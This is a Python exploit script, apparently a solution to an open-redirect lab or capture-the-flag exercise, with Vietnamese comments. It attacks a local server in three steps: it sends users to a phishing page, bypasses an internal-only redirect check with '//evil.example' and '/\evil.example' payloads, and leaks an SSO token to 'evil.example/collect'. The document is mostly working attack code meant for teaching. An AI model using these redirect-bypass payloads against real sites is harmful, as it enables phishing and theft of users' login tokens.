#!/usr/bin/env python3
"""
Exploit lab 6.3 - Open redirect.

Open redirect khong "fetch" ho ban; no tra ve 302 Location de TRINH DUYET
nan nhan di theo. Nen ta tat allow_redirects va doc header Location de thay
nan nhan se bi day di dau.

Buoc 1: /go?url= -> chuyen huong ra site ngoai (phishing).
Buoc 2: /login?next= -> vuot kiem "chi URL noi bo" bang //evil va /\evil.
Buoc 3: /sso?next= -> token SSO bi dinh vao URL va ro ri sang domain attacker.
"""
import re
import sys
from urllib.parse import unquote
import requests

BASE = "http://127.0.0.1:8059"


def location(path, params):
    r = requests.get(BASE + path, params=params, allow_redirects=False,
                     timeout=5)
    return r.status_code, r.headers.get("Location", "")


def main():
    print("[*] Buoc 1: open redirect thuan /go?url=")
    sc, loc = location("/go", {"url": "https://evil.example/phishing-login"})
    print("    [%s] Location: %s" % (sc, loc))
    print("    => nan nhan thay link toi 127.0.0.1:8059 (dang tin) nhung bi day")
    print("       ra site gia evil.example")

    print("\n[*] Buoc 2: vuot kiem 'chi URL noi bo' o /login?next=")
    for payload in ["/dashboard", "//evil.example/phishing", "/\\evil.example"]:
        sc, loc = location("/login", {"next": payload})
        note = "noi bo (OK that su)" if payload == "/dashboard" else "RA NGOAI!"
        print("    next=%-22s [%s] Location: %-28s %s" % (payload, sc, loc, note))

    print("\n[*] Buoc 3: ro ri token SSO qua next mo")
    sc, loc = location("/sso", {"next": "https://evil.example/collect"})
    print("    [%s] Location: %s" % (sc, loc))
    # Location bi percent-encode (%7B..%7D), giai ma de doc token.
    loc_dec = unquote(loc)
    print("    Location (da giai ma): %s" % loc_dec)
    m = re.search(r"FLAG\{[^}]+\}", loc_dec)
    if m:
        print("    => token roi vao tay attacker:", m.group(0))
        print("\n[+] Open redirect xac nhan. FLAG =", m.group(0))
        sys.exit(0)
    print("\n[-] That bai")
    sys.exit(1)


if __name__ == "__main__":
    main()
